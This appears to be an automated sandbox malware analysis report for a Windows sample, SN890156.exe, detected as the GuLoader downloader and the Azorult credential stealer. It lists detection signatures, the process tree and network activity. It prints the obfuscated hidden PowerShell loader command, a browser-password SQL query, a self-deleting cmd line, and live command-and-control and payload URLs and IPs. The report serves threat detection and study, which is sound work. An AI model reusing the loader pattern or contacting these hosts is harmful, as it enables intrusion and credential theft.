Edit tour

Windows Analysis Report
SN890156.exe

Overview

General Information

Sample name:	SN890156.exe
Analysis ID:	1509524
MD5:	62eab9f468c6599a5a972c3fd1d5aaa4
SHA1:	3c8fcdfcc78ea26feb6a51542456fdc9891719cf
SHA256:	74d52b94dbe44e83459e097ea1a1d22631a78bffa24ccf8ecc5492e9af9091a2
Tags:	exe
Infos:

Detection

Azorult, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Azorult

Yara detected GuLoader

AI detected suspicious sample

Found many strings related to Crypto-Wallets (likely being stolen)

Found suspicious powershell code related to unpacking or dynamic code loading

Powershell drops PE file

Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SN890156.exe (PID: 6156 cmdline: "C:\Users\user\Desktop\SN890156.exe" MD5: 62EAB9F468C6599A5A972C3FD1D5AAA4)

powershell.exe (PID: 6484 cmdline: "powershell.exe" -windowstyle hidden "$Matchsafe=Get-Content 'C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Brugervenlige205.gar';$Pegboard=$Matchsafe.SubString(53540,3);.$Pegboard($Matchsafe)" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wab.exe (PID: 6208 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)

cmd.exe (PID: 2300 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "wab.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 4324 cmdline: C:\Windows\system32\timeout.exe 3 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Azorult	AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.	The Gorgon Group	http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/ https://asec.ahnlab.com/en/26517/ https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/ https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/	https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2677701266.0000000023EF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000005.00000002.2678292053.0000000024BD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2500281603.000000000BEA2000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: wab.exe PID: 6208	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
Process Memory Space: wab.exe PID: 6208	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.wab.exe.2482b0d2.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.wab.exe.2482b0d2.4.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x299269:$string1: SELECT origin_url, username_value, password_value FROM logins 0x29a19a:$string1: SELECT origin_url, username_value, password_value FROM logins 0x109a34:$string2: API call with %s database connection pointer 0x10a668:$string3: os_win.c:%d: (%lu) %s(%s) - %s
5.2.wab.exe.247bf981.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.wab.exe.247bf981.3.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x3049ba:$string1: SELECT origin_url, username_value, password_value FROM logins 0x3058eb:$string1: SELECT origin_url, username_value, password_value FROM logins 0x175185:$string2: API call with %s database connection pointer 0x175db9:$string3: os_win.c:%d: (%lu) %s(%s) - %s
5.2.wab.exe.2479d994.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.wab.exe.2479d994.5.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x3269a7:$string1: SELECT origin_url, username_value, password_value FROM logins 0x3278d8:$string1: SELECT origin_url, username_value, password_value FROM logins 0x197172:$string2: API call with %s database connection pointer 0x197da6:$string3: os_win.c:%d: (%lu) %s(%s) - %s
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "wab.exe", CommandLine: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "wab.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Program Files (x86)\windows mail\wab.exe", ParentImage: C:\Program Files (x86)\Windows Mail\wab.exe, ParentProcessId: 6208, ParentProcessName: wab.exe, ProcessCommandLine: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "wab.exe", ProcessId: 2300, ProcessName: cmd.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6484, TargetFilename: C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft\SN890156.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -windowstyle hidden "$Matchsafe=Get-Content 'C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Brugervenlige205.gar';$Pegboard=$Matchsafe.SubString(53540,3);.$Pegboard($Matchsafe)", CommandLine: "powershell.exe" -windowstyle hidden "$Matchsafe=Get-Content 'C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Brugervenlige205.gar';$Pegboard=$Matchsafe.SubString(53540,3);.$Pegboard($Matchsafe)", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SN890156.exe", ParentImage: C:\Users\user\Desktop\SN890156.exe, ParentProcessId: 6156, ParentProcessName: SN890156.exe, ProcessCommandLine: "powershell.exe" -windowstyle hidden "$Matchsafe=Get-Content 'C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Brugervenlige205.gar';$Pegboard=$Matchsafe.SubString(53540,3);.$Pegboard($Matchsafe)", ProcessId: 6484, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE AZORult v3.3 Server Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T18:23:47.193937+0200	2029136	1	Malware Command and Control Activity Detected	104.21.14.133	80	192.168.2.5	49710	TCP

ET MALWARE Win32/AZORult V3.3 Client Checkin M14

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T18:23:46.926092+0200	2029467	1	Malware Command and Control Activity Detected	192.168.2.5	49710	104.21.14.133	80	TCP
2024-09-11T18:24:02.071604+0200	2029467	1	Malware Command and Control Activity Detected	192.168.2.5	49712	104.21.14.133	80	TCP

ETPRO MALWARE AZORult CnC Beacon M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T18:23:46.926092+0200	2810276	1	Malware Command and Control Activity Detected	192.168.2.5	49710	104.21.14.133	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T18:23:43.677190+0200	2803270	2	Potentially Bad Traffic	192.168.2.5	49709	27.114.150.50	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft\SN890156.exe

ReversingLabs: Detection: 18%

Multi AV Scanner detection for submitted file

Source: SN890156.exe

ReversingLabs: Detection: 18%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: SN890156.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 27.114.150.50:443 -> 192.168.2.5:49709 version: TLS 1.2

Source: SN890156.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb source: powershell.exe, 00000002.00000002.2499769943.0000000008C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.i386.pdbGCTL source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msvcp140.i386.pdb source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdbUGP source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.2499769943.0000000008C91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.i386.pdb source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msvcp140.i386.pdbGCTL source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: tem.Core.pdbu source: powershell.exe, 00000002.00000002.2499769943.0000000008C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: indows\System.Core.pdbrdQ source: powershell.exe, 00000002.00000002.2499769943.0000000008C00000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\SN890156.exe	Code function: 0_2_00406362 FindFirstFileW,FindClose,	0_2_00406362
Source: C:\Users\user\Desktop\SN890156.exe	Code function: 0_2_00405810 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405810
Source: C:\Users\user\Desktop\SN890156.exe	Code function: 0_2_004027FB FindFirstFileW,	0_2_004027FB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.5:49710 -> 104.21.14.133:80
Source: Network traffic	Suricata IDS: 2810276 - Severity 1 - ETPRO MALWARE AZORult CnC Beacon M1 : 192.168.2.5:49710 -> 104.21.14.133:80
Source: Network traffic	Suricata IDS: 2029136 - Severity 1 - ET MALWARE AZORult v3.3 Server Response M1 : 104.21.14.133:80 -> 192.168.2.5:49710
Source: Network traffic	Suricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.5:49712 -> 104.21.14.133:80

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49709 -> 27.114.150.50:443

Source: global traffic	HTTP traffic detected: GET /BVXLyakFdBSowAQOYfOVPi201.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: portal.expertmotorservices.mvCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /HH341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: h8m5b.shopContent-Length: 107Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 8b 30 65 8b 30 61 8b 30 65 ec 26 66 9b 26 66 97 41 70 9d 3a 70 9c 47 13 8b 30 67 8b 30 60 8b 30 61 ec 40 70 9d 33 13 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE10e0a0e&f&fAp:pG0g0`0a@p3
Source: global traffic	HTTP traffic detected: POST /HH341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: h8m5b.shopContent-Length: 43656Cache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /BVXLyakFdBSowAQOYfOVPi201.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: portal.expertmotorservices.mvCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: portal.expertmotorservices.mv
Source: global traffic	DNS traffic detected: DNS query: h8m5b.shop

Source: unknown

HTTP traffic detected: POST /HH341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: h8m5b.shopContent-Length: 107Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 8b 30 65 8b 30 61 8b 30 65 ec 26 66 9b 26 66 97 41 70 9d 3a 70 9c 47 13 8b 30 67 8b 30 60 8b 30 61 ec 40 70 9d 33 13 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE10e0a0e&f&fAp:pG0g0`0a@p3

Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: wab.exe, 00000005.00000003.2624274124.0000000007D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://h8m5b.shop/
Source: wab.exe, 00000005.00000002.2677352628.0000000023580000.00000004.00001000.00020000.00000000.sdmp, wab.exe, 00000005.00000002.2666360366.0000000007D7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://h8m5b.shop/HH341/index.php
Source: wab.exe, 00000005.00000003.2624274124.0000000007D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://h8m5b.shop/HH341/index.php3)
Source: wab.exe, 00000005.00000003.2624274124.0000000007D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://h8m5b.shop/HH341/index.phpW&
Source: wab.exe, 00000005.00000003.2624274124.0000000007D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://h8m5b.shop/HH341/index.phpj
Source: wab.exe, 00000005.00000003.2624274124.0000000007D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://h8m5b.shop/HH341/index.phpns
Source: wab.exe, 00000005.00000003.2624274124.0000000007D89000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000005.00000002.2666360366.0000000007D7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://h8m5b.shop/HH341/index.phpo)
Source: SN890156.exe, 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmp, SN890156.exe, 00000000.00000000.2041291021.0000000000409000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.2494770325.000000000644B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 00000002.00000002.2492719646.0000000005537000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
